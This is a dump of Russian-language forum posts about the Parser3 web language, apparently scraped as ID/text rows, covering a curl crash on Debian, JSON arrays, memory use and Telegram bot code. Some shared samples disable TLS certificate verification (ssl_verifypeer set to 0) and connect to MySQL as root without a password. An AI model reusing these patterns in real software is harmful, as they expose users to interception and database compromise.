7f6f37e51000-7f6f37e52000 r--p 00071000 08:03 5385729                    /lib/x86_64-linux-gnu/libpcre.so.3.13.3\
7f6f37e52000-7f6f37e53000 rw-p 00072000 08:03 5385729                    /lib/x86_64-linux-gnu/libpcre.so.3.13.3\
7f6f37e58000-7f6f37e84000 r-xp 00000000 08:03 5398391                    /usr/lib/x86_64-linux-gnu/libgc.so.1.0.3\
7f6f37e84000-7f6f38084000 ---p 0002c000 08:03 5398391                    /usr/lib/x86_64-linux-gnu/libgc.so.1.0.3\
7f6f38084000-7f6f38086000 rw-p 0002c000 08:03 5398391                    /usr/lib/x86_64-linux-gnu/libgc.so.1.0.3\
7f6f38086000-7f6f380c8000 rw-p 00000000 00:00 0 \
7f6f380c8000-7f6f380d1000 r-xp 00000000 08:03 5398404                    /usr/lib/x86_64-linux-gnu/libltdl.so.7.3.1\
7f6f380d1000-7f6f382d0000 ---p 00009000 08:03 5398404                    /usr/lib/x86_64-linux-gnu/libltdl.so.7.3.1\
7f6f382d0000-7f6f382d1000 r--p 00008000 08:03 5398404                    /usr/lib/x86_64-linux-gnu/libltdl.so.7.3.1\
7f6f382d1000-7f6f382d2000 rw-p 00009000 08:03 5398404                    /usr/lib/x86_64-linux-gnu/libltdl.so.7.3.1\
7f6f382d8000-7f6f382fb000 r-xp 00000000 08:03 5385655                    /lib/x86_64-linux-gnu/ld-2.24.so\
7f6f384eb000-7f6f384f0000 rw-p 00000000 00:00 0 \
7f6f384f4000-7f6f384fb000 rw-p 00000000 00:00 0 \
7f6f384fb000-7f6f384fc000 r--p 00023000 08:03 5385655                    /lib/x86_64-linux-gnu/ld-2.24.so\
7f6f384fc000-7f6f384fd000 rw-p 00024000 08:03 5385655                    /lib/x86_64-linux-gnu/ld-2.24.so\
7f6f384fd000-7f6f38500000 rw-p 00000000 00:00 0 \
7ffd3b157000-7ffd3b178000 rw-p 00000000 00:00 0                          [stack]\
7ffd3b198000-7ffd3b19b000 r--p 00000000 00:00 0                          [vvar]\
7ffd3b19b000-7ffd3b19c000 r-xp 00000000 00:00 0                          [vdso]\
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]\
Aborted (core dumped)"
"84865","Какая версия OS/парсера и откуда взялся сам парсер (судя по зависимостям, из пакетов Linux)? Какие-нибудь другие функции curl работают?\
\
Загадочность момента в том, что стандартные malloc/free в самом парсере не используются. :)\
\
>src/include/pa_memory.h\
inline void free(void *) { free_disabled(); }"
"84866","docker-compose.yml \
\
version: '3'\
\
services:\
  web:\
    build:\
      context: .\
      dockerfile: parser3\
    ports:\
      - 80:80\
    volumes:\
      - /srv/www:/var/www/html\
      - /srv/etc/httpd/:/etc/apache2/\
\
\
parser3\
FROM php:7.2-apache\
\
RUN a2enmod actions\
RUN a2enmod cgi\
RUN apt-get update\
RUN apt-get -y install parser3-cgi parser3-mysql libmariadbclient18 curl\
RUN cp /usr/bin/parser3 /usr/lib/cgi-bin/parser3.cgi\
RUN chown -R www-data:www-data /var/www/html\
RUN chown -R www-data:www-data /usr/lib/cgi-bin\
RUN echo '$SQL.connect-string[mysql://root@db/pechenin?charset=utf8]' >> /etc/parser3/auto.p\
RUN ln -s /usr/lib/x86_64-linux-gnu/libmariadbclient.so.18 /usr/lib/libmysqlclient.so\
RUN ln -s /usr/lib/x86_64-linux-gnu/libcurl.so.4 /usr/lib/libcurl.so\
RUN sed -i 's|libmysqlclient.so|/usr/lib/libmysqlclient.so|g' /etc/parser3/auto.p\
\
Как бы дебиан 9 и парсер из его репника"
"84867","[quote]Как бы дебиан 9 и парсер из его репника[/quote]\
\
Причина пока не совсем ясна, у меня например сохранились бинарные пакеты Debian 9 более ранних версий (актуальная 9.9) и в нем такой проблемы нет, то есть она появилась с каким-то обновлением компилятора или стандартной библиотеки. Хорошо хоть в Debian 10 вроде как этой проблемы нет (хотя код парсера в этом месте и не менялся)."
"84869","Но очевиднее обработать исключение, ничего сложного в этом нет.\
[code]^try{$v[^v.int[]] число}{$exception.handled(1) строка}[/code]"
"84870","\"Добрые\" люди из Debian в какой-то момент заменили версию parser3-cgi_3.4.4-1_amd64.deb на parser3-cgi_3.4.4-1+b1_amd64.deb.\
\
Причем это даже не новая версия (иначе можно было бы явно установить как apt-get install parser3=cgi_3.4.4-1), это \"Binary-only non-maintainer upload for amd64; no source changes\", с описанием \"rebuild with PIE\", и именно в ней началось такое поведение.\
\
Обойти проблему (она происходит при закрытии сессии работы с curl, на закрывающей фигурной скобке) не получится. :(\
\
Так что боюсь или искать пакет без \"+b1\", поиск находит например [url=\"http://mirror01.idc.hinet.net/ubuntu/pool/universe/p/parser/parser3-cgi_3.4.4-1_amd64.deb\"]это[/url], у меня на Debian 9.9 запустилось без ошибки, либо ждать 7 июля, когда выйдет Debian 10 - в нем будет parser3.4.5, в котором такой проблемы нет.\
\
Сама проблема выглядит багом конкретной версии компилятора С++. Похоже мало кто использует свои методы распределения памяти, в clang (альтернативный gcc компилятор) схожий [url=\"https://bugs.llvm.org/show_bug.cgi?id=40161\"]баг[/url]."
"84871","ОК. Спс. Обошелся взлетом на центоси. но если что то буду знать куда копать... Нужно было решить очень быстро вопрос - было не до этого.\
\
Не знаю, на сколько багу нашел, но полдня провозился с курлем, обошел через экзек баша. Суть проблемы в том что по https://developers.sparkpost.com/api/suppression-list/ для спарка не получалось отправить\
[code]\
^curl:session{\
   $file1[^curl:load[.\
      $.url[https://api.eu.sparkpost.com/api/v1/suppression-list/$LTAB.piece]\
      $.content-type[application/json]\
      $.httpheader[$.Authorization[$KEY]]\
      $.customrequest[PUT]\
XXX\
    ]]\
}\
[/code]\
\
в $.postfields[{\"type\": \"non-transactional\"}] - впечатление буд-то как-то не так уходит тело, возможно из-за $.content-type[application/json]\
\
Рабочий пример:\
[code]curl -sbv -H \"Content-Type: application/json\" -H \"Authorization: XXXXXX\" -X PUT -d '{\"type\":\"non_transactional\"}' https://a\
pi.eu.sparkpost.com/api/v1/suppression-list/$1[/code]"
"84872","[code]^if(^v.int(0)){число}{строка}[/code]\
\
а, или это если число придёт \"0\", то его определит как строку"
"84875","пробовал. verbose тело запроса не показывал (может и не должен был). на текущий момент играться повторно некогда и другого шанса уже не будет. Если этот механизм нужен будет, то вопрос будет к разработчикам продукта под интеграцию.\
\
Ответ на первичный вопрос нашли. Спасибо."
"84876","У меня уже лет ...дцать валяется скрипт http://moko.ru/cgi-bin/test-cgi.pl, который возвращает всю информацию из запроса. В сомнительных случаях обращаюсь к нему и сравниваю ответы.\
\
curl -sbv -H \"Content-Type: application/json\" -H \"Authorization: XXXXXX\" -X PUT -d '{\"type\":\"non_transactional\"}' http://moko.ru/cgi-bin/test-cgi.pl\
\
От исходного запроса из парсера отличалось этим:\
CONTENT_TYPE = application/x-www-form-urlencoded.\
Если сделать код на парсере аналогичным запросу из командной строки,\
\
[code]^curl:session{\
   $file1[^curl:load[\
      $.url[http://moko.ru/cgi-bin/test-cgi.pl]\
      $.httpheader[$.Authorization[$KEY] $.Content-type[application/json] ]\
      $.customrequest[PUT]\
      $.postfields[{\"type\":\"non-transactional\"}]\
    ]]\
    $file1.text\
}\
[/code]\
\
то на сервер на вид приходят одинаковые запросы.\
\
P.S. Вообще в данном случае помогло бы более внимательное чтение [url=\"http://https://www.parser.ru/docs/lang/?curloptionsdesc.htm\"]документации[/url]:\
\
\"$.content-type[CONTENT-TYPE] берется из заголовка HTTP-ответа 	Поле content-type создаваемого объекта класса file\" - никак не влияет на отправляемый запрос, от него зависит $file1.content-type."
"84877","3 человека курили доку - 2 из них лет 7-8 баловались на парсере, 1 был вообще пхп и первый раз увидел парсер :)\
\
$.httpheader[$.Authorization[$KEY] $.Content-type[application/json] ] - насчет такой конструкции мысль была, что это неправильно - как идеологически, так и практически. Если есть конструкторы которые собирают, то  нарушать их работу это очень плохо.\
Кроме этого, всё что не касается $.postfields - работает великолепно.\
\
http://moko.ru/cgi-bin/test-cgi.pl - вот этого и не хватило... стоит добавить страничку деббага и разместить такое в ПДФ - 100%"
"84879","Из БД берётся полный URL и загоняется в $address[http://1.ru].\
\
Однако, $response:location[$address] не работает, пытаясь отправить на [b]/current.url/http%3A//1.ru[/b]\
\
Идентично ведёт себя $response:refresh[$.value(0)$.url[$address]].\
\
Как поступить, если в адресах возможны и http://, и https://?"
"84882","При запуске на debian masterhost.ru такая ошибка\
\
AH01215: /home/u2387234/site.ru/cgi-bin/parser3.cgi: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.14' not found (required by /home/u2387234/site.ru/cgi-bin/parser3.cgi)\
\
не видит библиотеки, хотя они лежат там, согласно документации в /cgi-bin/lib/\
\
кто-нибудь сталкивался? как быть?"
"84883","Какой точно версии Debian? Что выводит cat /etc/debian_version?\
\
По-идее можно взять \"родные\" бинарники для Debian (https://packages.debian.org/parser3-cgi), или из пакетов поставить, если root есть."
"84884","админы пишут: В данном случае, вам необходимо в сборке parser3.cgi проверить путь, ведущий к папке с нужной библиотекой. Пакет libc6 на нашем виртуальном хостинге отсутствует, его необходимо включить в сборку дополнительно.\
\
не умею пересобирать самостоятельно\
\
как быть? можете помочь?"
"84885","Версия: Debian GNU/Linux 7.11"
"84886","Вот парсер для Debian 7, а вы для какой версии ранее брали?\
\
https://www.parser.ru/f/1/download/parser345/parser3_4_5_debian7x64.tar.gz"
"84887","В разделе загрузок есть версия для Debian и Centos. \
Первый файл у меня дал такую же ошибку, как и у вас. \
Второй - нормально запустился. При обращении пишет Parser/3.4.5 (compiled on x86_64-unknown-linux-gnu)"
"84888","съехал в итоге на руцентр )"
"84889","на руцентр перехал, спасибо за советы ) может не ту версию и правда взял"
"84890","Здравствуйте!\
Заранее извиняюсь, вопрос возможно не совсем по языку, а скорее по алгоритму, но, возможно в синтаксисе есть какие то решения, которые я пока самостоятельно не учла так как сравнительно недавно начала изучать парсер.\
\
Задача такая, есть записи в таблице у каждой несколько параметров и каждый параметр имеет значения: 2, 1, 0 и \"н\"(нет оценки)\
\
Нужно считать средний балл в процентах.\
\
Раньше Н и 0 - были равнозначными и я считала прямо из базы данных запросом:\
[code]SELECT p1+p2+p3 as mark ... [/code]\
\
А потом в парсере:\
$result.mark просто делила на три и множила на 100. Получалась средняя оценка в процентах.\
Например:\
[code]\
Qwert  2  2  2  -- 100%\
Asdf   1  1  1  -- 50%\
Zxcvb  0  0  0  -- 0%\
Tyui   2  1  0  -- 50%\
[/code]\
\
Сейчас же добавился параметр Н (нет оценки). И результат должен быть только на основании тех параметров, у которых оценка есть. Например\
\
[code]\
Qwert  2  2  2  -- 100%\
Asdf   2  Н  Н  -- 100%\
Zxcvb  1  1  Н  -- 50%\
Tyui   Н  Н  0  -- 0%\
Jkjkj  2  1  Н  -- 75%\
[/code]\
\
И тут я уже не знаю как оптимальнее всего поступить( \
Буду очень благодарна за, хотя бы идею, как это реализовать"
"84891","Ой. Извиняюсь. Там ошибка в предложении:\
Делила на 6 и множила 100. 6 вместь 3"
"84892","Пока сделала так. Это если параметров 4 и если в базе данных - нет данных, это NULL\
[code]\
$summark(0)\
$colmark(0)\
^if(def $usrslist.in_p1){\
  $summark($summark+$usrslist.in_p1)\
  $colmark($colmark+1)}\
^if(def $usrslist.in_p2){\
  $summark($summark+$usrslist.in_p2)\
  $colmark($colmark+1)}\
^if(def $usrslist.in_p3){\
  $summark($summark+$usrslist.in_p3)\
  $colmark($colmark+1)}\
^if(def $usrslist.in_p4){\
  $summark($summark+$usrslist.in_p4)\
  $colmark($colmark+1)}\
^if($colmark==0){H/Д}{$mark($summark/($colmark*2)*100)\
$mark %}\
[/code]\
\
Насколько это прохое решение?"
"84893","Если говорить про конкретный код, то можно воспользоваться методом inc и избавиться от копирования кода, выделив метод. Например так:\
\
[code]@update[value]\
^if(def $value){\
  ^caller.summark.inc($value)\
  ^caller.colmark.inc[]\
}\
\
@main[]\
$summark(0)\
$colmark(0)\
^update[$usrslist.in_p1]\
^update[$usrslist.in_p2]\
^update[$usrslist.in_p3]\
^update[$usrslist.in_p4]\
^if($colmark==0){H/Д}{$mark($summark/($colmark*2)*100)\
$mark %}\
[/code]\
\
Если говорить о задаче в целом, то посчитать сумму и число не null параметров можно и средствами sql, если mysql, то например так:\
\
[code]SELECT IFNULL(p1,0)+IFNULL(p2,0)+IFNULL(p3,0) as mark, 3-(ISNULL(p1)+ISNULL(p2)+ISNULL(p3)) as cnt\
[/code]\
\
Если планируется, что число параметров будет меняться, возможно стоит перейти на другую структуру таблицы:\
<Имя> <Имя параметра> <Значение>\
Тогда в коде вообще не будет названий параметров, а значит их можно будет добавлять без изменения кода программы."
"84895","У меня есть большая таблица, на тысячи строк. Нужна одна.\
\
Как лучше поступить с точки зрения производительности?\
\
1. Всё-таки ^table.menu{^if($table.stolb eq оно){ура}{проехали}}\
2. Отказаться от текстовых таблиц для такого случая, загнать данные в мускул с индекс-столбцом и просить одну строку у субд."
"84896","1. $t2[^t1.select($t1.stolb eq 'оно')]\
2. конечно лучше все-таки использовать СУБД"
"84904","Смысл в том, что файлы частично сохраняются на диске, частично в БД. При записи в БД информация из этих полей разумеется утрачивается, но ее можно сохранить отдельно при сохранении. Аналогично при base64 кодировании/декодировании. Нельзя ли при получении файла эту информацию прозрачно вернуть на место, чтобы файл был ориджин, как будто его с диска дернули?\
\
Вот такого бы хотелось\
[code]$meta[^table::load{select * from store_meta where uuid = '$uuid'}}]\
$file[^file::sql{select `file` from store_files where uuid = '$uuid'}]\
$file.mdate[^date::create[$meta.mdate]]\
$file.cdate[^date::create[$meta.cdate]]\
...\
\
$result[$file]\
[/code]"
"84905","Далее в браузер эти поля все равно не передаются, передаются только имя файла и размер."
"84908","Возник вопрос по использованию json.\
В частности есть некая программа с json-конфигом. Есть задача Parser'ом немного менять конфиг, и вроде как все просто - загрузил в строку, поправил строку, сохранил строку... но вот что выходит:\
\
Исходная json-строка:\
[code]\
{\
\"1\":{\
	\"id\":\"5d784433796db413bcefb825\",\
	\"urls\":[{\"строчное значение 1\"},{\"строчное значение 2\"}]\
	}\
}\
[/code]\
\
При загрузке json-строки в хеш получаем следующий хеш:\
[code]\
$h[\
	$.1[\
		$.id[5d784433796db413bcefb825]\
		$.urls[\
			$.0[строчное значение 1]\
			$.1[строчное значение 2]\
		]\
	]\
]\
[/code]\
\
Соотвественно при преобразовании хеша в json-строку получаем:\
[code]\
\
{\
\"1\":{\
		\"id\":\"5d784433796db413bcefb825\",\
		\"urls\":{\
			\"0\":\"строчное значение 1\",\
			\"1\":\"строчное значение 2\"\
		}\
	}\
}\
[/code]\
\
Соответственно эта некая программа теперь не признает этот конфиг за свой и не грузит его.\
Понятно что найдутся обходные пути, но все же хотелось бы использовать штатные функционал для работы с json.\
\
По идее, ключ urls должен содержать не хеш, а nameless таблицу, и тогда при преобразовании хеша в json строку с использованием опции $.table[array] все бы прошло успешно.\
\
Как быть ?"
"84910","> По идее, ключ urls должен содержать не хеш, а nameless таблицу\
\
По чьей идее? :) А если в urls не строки, а хеш? Таблица такое хранить не умеет. В парсере нет массивов, поскольку хеш покрывает практически все связанные с ними задачи. Если хочется сделать преобразование json -> объект парсера -> json, которое сохраняет массивы - это программируется в десяток строк, я например использую код ниже:\
\
\
[code]### json support ###\
            \
@from_json[key;value]\
$result[^Array::create[$value]]\
        \
@to_json[key;value;options][locals]\
$h[^reflection:fields_reference[$value]]\
$result[[^h.foreach[;v]{^json:string[$v;$options]}[,]]]\
\
@json_parse[js]\
$result[^json:parse[^taint[as-is;$js]; $.array[$from_json] ]]\
\
@json_string[s]\
$result[^json:string[$s; $.Array[$to_json] ]]\
    \
@CLASS\
Array\
            \
@create[hash]\
^if($hash is hash){\
        ^reflection:copy[$hash;$self]\
}\
\
@add[value][key]\
$key[^reflection:uid[$value]]\
$self.$key[$value]\
[/code]"
"84912","[quote]{\"строчное значение 1\"}[/quote]\
\
Это какая-то ерунда — недополе без значения или без имени, или недоэлемент массива, если скобки были бы квадратными."
"84913","если например делаем\
[code]$tData[^table::sql{select .триллиард. }][/code]\
\
а потом сделаем\
[code]$tData[^table::sql{select .сотенка. }][/code]\
\
а потом\
[code]$tData[BlaBla][/code]\
\
что будет с памятью? :)\
\
ну, тоесть вопрос про : имеет смьісл использовать одну и туже переменную или пофиг - памяти сожрет и будет там всеравно держать все что бьло заселекчено?"
"84914","... а если не хочется, то общее правило такое. Если идут последовательные присвоения в рамках одной функции, то память будет только расти — в Парсере нет автоматической сборки мусора. На выходе из функций Парсер некоторое количество мусора может собрать сам, но лучше явно вызваь memory:compact там, где ожидается большой расход памяти. Перед сборкой стоит обнулить все переменные, которые содержали большие объекты ($tData[]).\
\
Чтобы измерить расход памяти и аккуратно собрать мусор в циклах, стоит использовать класс Erusage — https://www.parser.ru/lib/erusage/"
"84915","Реально ли реализовать на Парсере чатбот в телеграмме?\
Может есть уже готовые?\
С чего начать, чтобы попробовать сделать такой?"
"84916","Сделать понятно можно. Начать вероятно стоит с изучения API Телеграм. У нас каркас одного из ботов выглядит примерно так:\
\
[code]\
@CLASS\
Webhook\
\
@OPTIONS\
locals\
static\
\
\
@auto[]\
\
$self.CURL_OPTIONS[\
        $.connecttimeout(5)\
        $.timeout(60)\
        $.post(true)\
        $.httpheader[\
                $.[Content-Type][application/json]\
        ]\
]\
\
\
@sendRequest[sUrl;sRequestBody]\
\
^try{\
        $f[^curl:load[$CURL_OPTIONS\
                $.url[$sUrl]\
                $.postfields[$sRequestBody]\
        ]]\
        $result[$f.text]\
}{\
        ^self.logError[]\
        $exception.handled(true)\
}\
\
...\
\
\
@CLASS\
WebhookTelegram\
\
@OPTIONS\
locals\
static\
\
@BASE\
Webhook\
\
\
@auto[]\
\
$self.TELEGRAM_API_URL[***]\
\
\
@run[]\
\
$response:status(200)\
\
^switch[$env:REQUEST_METHOD]{\
	^case[GET;POST]{\
		^self.handlePost[]\
	}\
	^case[DEFAULT]{\
		$response:status(403)\
	}\
}\
\
\
@handlePost[]\
\
^switch(true){\
	^case(!(def $form:method)){\
		^try{\
			^if(!def $form:body){\
				$hBody[^json:parse[^taint[clean][$request:body]]]\
			}{\
				$hBody[^json:parse[^taint[clean][$form:body]]]\
			}\
		}{\
			$hBody[]\
			$exception.handled(true)\
		}\
		^if(def $hBody){\
			^self.handleUpdate[$hBody]\
		}{\
			$response:status(500)\
		}\
	}\
	^case[DEFAULT]{\
		^switch[$form:method]{\
			^case[getMe;setWebhook]{\
				^if($self.[$form:method] is junction){\
					^self.[$form:method][]\
				}\
			}\
			^case[DEFAULT]{\
				$response:status(404)\
			}\
		}\
	}\
}\
\
\
@handleUpdate[hBody]\
\
^if(^hBody.update_id.double(0) > 0){\
	^connect[$MAIN:SQL.connect-string]{\
		$sReceivedMessage[^hBody.message.text.trim[]]\
		^switch[$sReceivedMessage]{\
			^case[/start]{\
				$sPayload[GET_STARTED]\
				$sText[Добрый день! Кого позвать?]\
				$hReplyMarkup[\
					$.keyboard[^table::create{Студию\
Магазинус}]\
					$.one_time_keyboard(true)\
					$.resize_keyboard(true)\
				]\
			}\
			^case[Студию]{\
				$sPayload[GET_STUDIO]\
				$sText[^self.getStudio[]]\
			}\
			^case[Магазинус]{\
				$sPayload[GET_STORE]\
				$sText[Отлично! Вот о чем я готов поболтать:]\
				$hReplyMarkup[\
					$.keyboard[^table::create{***}]\
					$.one_time_keyboard(true)\
					$.resize_keyboard(true)\
				]\
			}\
			^case[DEFAULT]{\
				$sText[^self.makeMessage[$hBody.message.from.id;^self.getPayload[$hBody.message.from.id];$sReceivedMessage]]\
			}\
		}\
\
		^if(def $sPayload){\
			^self.saveRequest[\
				$.sender_id[$hBody.message.from.id]\
				$.recipient_id[$hBody.message.chat.id]\
				$.timestamp[$hBody.message.date]\
				$.payload[$sPayload]\
			]\
		}\
\
		$result[^self.apiResponse[sendMessage][\
			$.chat_id[$hBody.message.chat.id]\
			$.reply_to_message_id[$hBody.message.id]\
			$.text[$sText]\
			^if(def $hReplyMarkup){ $.reply_markup[$hReplyMarkup] }\
		]]\
\
		^if(!def $sPayload){\
			^self.resetPayload[$hBody.message.from.id]\
			^self.saveMessage[\
				$.sender_id[$hBody.message.from.id]\
				$.timestamp[$hBody.message.date]\
				$.message[$sReceivedMessage]\
			]\
		}\
	}\
}\
\
\
@getMe[]\
\
$response:body[^self.apiResponse[getMe]]\
\
\
@setWebhook[]\
\
$response:body[^self.apiResponse[setWebhook][\
	$.url[***]\
]]\
\
\
@apiResponse[sMethod;hResponse]\
\
^if(!(def $sMethod)){\
	^self.logError[Method name must be a string^#0A]\
	^return[]\
}\
\
^if(!def $hResponse){\
	$hResponse[^hash::create[]]\
}(!($hResponse is hash)){\
	^self.logError[hResponse must be an hash^#0A]\
	^return[]\
}\
\
$result[^self.sendRequest[${TELEGRAM_API_URL}/$sMethod][^json:string[$hResponse][\
	$.indent(false)\
	$.one-line(true)\
	$.table[array]\
]]]\
\
\
[/code]"
"84917","Если ^memory:compact[] не вызывается, то разницы нет. Если вызывается (и выше тут правильно рекомендовали Erusage), то повторное использование или явное присвоение пустого значения глобальным переменным поможет освободить хранившиеся там данные."
"84918","[code]@CLASS\
telegram\
\
@BASE\
MAIN\
\
@OPTIONS\
locals\
\
################\
@create[hParams]\
\
# $hParams.token\
# $hParams.curlLibPath\
\
$telegram:token[$hParams.token]\
^if(def $hParams.curlLibPath){\
	$telegram:curlLibPath[$hParams.curlLibPath]\
}($env:REMOTE_ADDR eq '127.0.0.1'){\
	$telegram:curlLibPath[/usr/lib/x86_64-linux-gnu/libcurl.so.4.3.0]\
}\
$telegram:apiBaseUrl[https://api.telegram.org/bot]\
\
#############\
@getUpdates[]\
\
$result[^request[\
	$.method[getUpdates]\
]]\
\
#####################\
@sendMessage[hParams]\
\
# $hParams.chatID\
# $hParams.text\
\
# $hParams.inlineKb[	^rem{ or replyKb }\
#	$.row1[\
#		$.btn1[\
#			$.text[btn text]\
#			$.callback_data[btn command]\
#		]\
#		...\
#	]\
#	...\
# ]\
\
^if($hParams.inlineKb){\
\
	^hParams.inlineKb.foreach[;row]{\
\
		^if(^inlineKbJson.right(1) eq ']'){\
			$inlineKbJson[$inlineKbJson,]\
		}\
		$inlineKbJson[$inlineKbJson^[]\
		^row.foreach[;btn]{\
\
			^if(^inlineKbJson.right(1) eq '}'){\
				$inlineKbJson[$inlineKbJson,]\
			}\
			$jsonBtn[^json:string[$btn]]\
			$inlineKbJson[${inlineKbJson}$jsonBtn]\
\
		}\
		$inlineKbJson[$inlineKbJson^]]\
\
	}\
\
	$inlineKbJson[^text:removeSpaces[$inlineKbJson]]\
	$inlineKbJson[\"inline_keyboard\":[$inlineKbJson]]\
	$reply_markup[$inlineKbJson]\
\
}($hParams.replyKb){\
\
	$reply_markup[^parseReplyKb[$hParams.replyKb]]\
\
}{\
\
#	$reply_markup[^parseReplyKb[^defaultReplyKb[]]]\
\
}\
\
$result[^request[\
	$.method[sendMessage]\
	$.hForm[\
		$.chat_id[$hParams.chatID]\
		$.text[^text:removeSpaces[$hParams.text]]\
		$.parse_mode[HTML]\
		$.reply_markup[{$reply_markup}]\
	]\
]]\
\
#################\
@request[hParams]\
\
# $hParams.method\
# $hParams.hForm\
\
^if(\
	def $curlLibPath\
	&& !$telegram:isCurlLibLoaded\
){\
\
	^curl:options[\
		$.library[$curlLibPath]\
	]\
	$telegram:isCurlLibLoaded(1)\
\
}\
\
^if($hParams.hForm){\
	$formParams[]\
	^hParams.hForm.foreach[k;v]{\
		^if(def $formParams){\
			$formParams[$formParams&]\
		}\
		$formParams[${formParams}$k=$v]\
	}\
}\
$formParams[^taint[uri][$formParams]]\
$curlRequest[^curl:load[\
	$.url[^taint[as-is;${apiBaseUrl}$token/$hParams.method?$formParams]]\
	$.ssl_verifypeer(0)\
]]\
$result[\
	$.response[$curlRequest.text]\
]\
\
####################\
@setWebHook[hParams]\
\
# $hParams.url\
\
$result[^request[\
	$.method[setWebHook]\
	$.hForm[\
		$.url[$hParams.url]\
	]\
]]\
\
######################\
@sendLocation[hParams]\
\
# $hParams.chatID\
# $hParams.lat\
# $hParams.lng\
\
$result[^request[\
	$.method[sendLocation]\
	$.hForm[\
		$.chat_id[$hParams.chatID]\
		$.latitude[$hParams.lat]\
		$.longitude[$hParams.lng]\
	]\
]]\
\
##################\
@parseReplyKb[hKb]\
\
^hKb.foreach[;row]{\
\
	^if(^result.right(1) eq ']'){\
		$result[$result,]\
	}\
	$result[$result^[]\
	^row.foreach[;btn]{\
\
		^if(^result.right(1) eq '}'){\
			$result[$result,]\
		}\
		$jsonBtn[^json:string[$btn]]\
		$result[${result}$jsonBtn]\
\
	}\
	$result[$result^]]\
\
}\
\
$result[^text:removeSpaces[$result]]\
$result[\"keyboard\":[$result], \"resize_keyboard\": true]\
[/code]\
\
\
\
\
\
\
[b]Использование:[/b]\
\
[code]\
$telegram[^telegram::create[\
	$.token[***]\
	$.curlLibPath[***]\
]]\
\
$sendMsg[^telegram:sendMessage[\
	$.chatID[***]\
	$.text[***]\
]]\
\
[/code]\
\
прочее см. в коде.\
\
Ответ в вебхуке ловится через $request:body. Либо без вебхука дергать getUpdates. Но это так себе."
"84919","Ребята, поделитесь пожалуйста кодом для подписи запросов AWS v4. Изначально он использовался для хранилища S3, но сейчас используется в очень многих API и других компаний - DigitalOcean, Яндекс"
"84920","https://cloud.yandex.ru/docs/storage/s3/signing-requests и хорошие примеры есть на https://cloud.yandex.ru/docs/storage/concepts/presigned-post-forms (можно попробовать питончик или cli и сравнить с тем, что получаете сами)\
\
hmac+sha256+hex Парсер умеет — https://www.parser.ru/docs/lang/mathdigest.htm"
"84921","Динамически нужно вызывать, иначе толку от создания объекта нет.\
\
[code]^telegram:sendMessage[ —> ^telegram.sendMessage[[/code]"
"84924","что надо:\
[code]\
[ \
{\"ID\":\"1\",\
 \"F1\":\"A\",\
 ...\
 \"Chld\": [{\"ID\":\"11\",\"\":\"\",...},{\"ID\":\"12\",...}]\
},\
{\"ID\":\"2\",\
 \"F1\":\"B\",\
 ...\
 \"Chld\": [{\"ID\":\"21\",\"\":\"\",...},{\"ID\":\"22\",...}]\
},\
...\
]\
[/code]\
\
как представляется:\
\
[code]$dRoot[^table::sql{select ID, ... FROM aTableRoot}]\
\
^dRoot.menu{\
 $dChild[^table::sql{SELECT ID, ... FROM aTableChild WHERE RootID = $dRoot.ID}]\
 $dRoot.Child[$dChild]\
}\
\
^json:string[$dRoot]\
[/code]\
\
понимаю что надо через hash - но там насколько я помню результат будет\
[code]\
[\
\"1\":{\"F1\":\"A\",\"Child\":[{\"ID\":\"11\"...}]},\
\"2\":{\"F1\":\"B\",\"Child\":[{\"ID\":\"21\"...}]},\
...\
][/code]"
"84925","Во-первых, советую разобраться со скобками и не путать их. [] - массив, {} - хеш.\
Во-вторых, в ячейках таблицы могут храниться только строки.\
\
Но сделать понятно можно, если использовать решение из [url=\"https://www.parser.ru/forum/?id=84910\"]этого топика[/url], код будет примерно такой:\
\
[code]$arr[^Array::create[]]\
\
^dRoot.menu{\
 $dChild[^table::sql{SELECT ID, ... FROM aTableChild WHERE RootID = $dRoot.ID}]\
 ^arr.add[\
     $.ID[$Root.ID]\
     $.F1[$Roor.F1]\
     $.Chld[$dChild]\
  ]\
}\
\
^json_string[$arr][/code]"
"84926","[quote] не путать их.[/quote]\
а где напутато?\
\
[quote] могут храниться только строки.[/quote]\
так потому и заклинило-то :) что я сие знаю\
\
[quote]решение[/quote]\
ОГРОМНОЕ СПАИБО!"
"84927","[code]\
 $dRoot[^table::sql{SELECT ID,HID,.. FROM tRoot}]\
\
 $columns_table[^dRoot.columns[]] \
 $arr[^Array::create[]]\
\
 ^dRoot.menu{\
   ^arr.add[\
     ^columns_table.menu{\
       $cName[$columns_table.column]\
       $.$cName[$tItems.$cName]\
     }\
     $dChild[^table::sql{SELECT ID,F1,... FROM tChild WHERE RootID = $dRoot.ID }]\
     $.child[\
       $.total[^dChild.count[]]\
       $.rows[$dChild]\
     ]\
  ]\
 }\
\
\
 ^json:string[$.total[^dRoot.count[]] $.rows[^taint[as-is;^json_string[$arr]]] ]\
\
[/code]\
\
\
результат немного не такой. какой тут таинт то надо чтобі перевод каретки не преобразовьівало?\
[code]\
{\
\"total\":\"47\",\
\"rows\":\"[{\\n\\\"ID\\\":\\\"C6464FABE50D11E982A8545200E58E4C\\\",\\n\\\"HID\\\":\\\"E6B0B9E793B311E982A8545200E58E4C\\\",\\n ... ,\\n\\\"сhild\\\":{\\n\\\"total\\\":\\\"0\\\",\\n\\\"rows\\\":[]\\n}\\n}]\"\
}\
[/code]"
"84928","Подозреваю никакой taint не нужен, если я конечно правильно понял задачу:\
\
[code]^json_string[ $.total[^dRoot.count[]] $.rows[$arr]] ][/code]"
"84930","[code]$arr[^Array::create[]]\
\
^dRoot.menu{\
 $dChild[^table::sql{SELECT ID, ... FROM aTableChild WHERE RootID = $dRoot.ID}]\
 ^arr.add[\
     $.ID[$Root.ID]\
     $.F1[$Roor.F1]\
     $.Chld[$dChild]\
\
     ^dChild.menu{\
      $subChild[^table::sql{SELECT ID, ... FROM aTableSubChild WHERE ChildID = $dChild.ID}]\
      $.subChild[$subChild]\
\
      $subArr[^Array::create[]]\
      ^subArr.add[\
        $.ID[$subChild.ID]\
        $.F2[$subChild.F2]\
      ]\
      $.subChildArray[$subArr]\
    }\
  ]\
}\
\
^json_string[$arr][/code]\
\
subChild - с данными\
subChildArray - пустой"
"84932","ошибка бьіла в букве С не той кодировки изза \"внезапто появившейся\" лишней кодировки в списке язьіков\
\
кто знает как удалить\
если этой QAA нет ни в списке языков, ни в списке через PowerShell\
\
(qaa-Latn : причем и допоставить, чтоб снесни - тоже нет возможности: нет такого в списке языков для установки)"
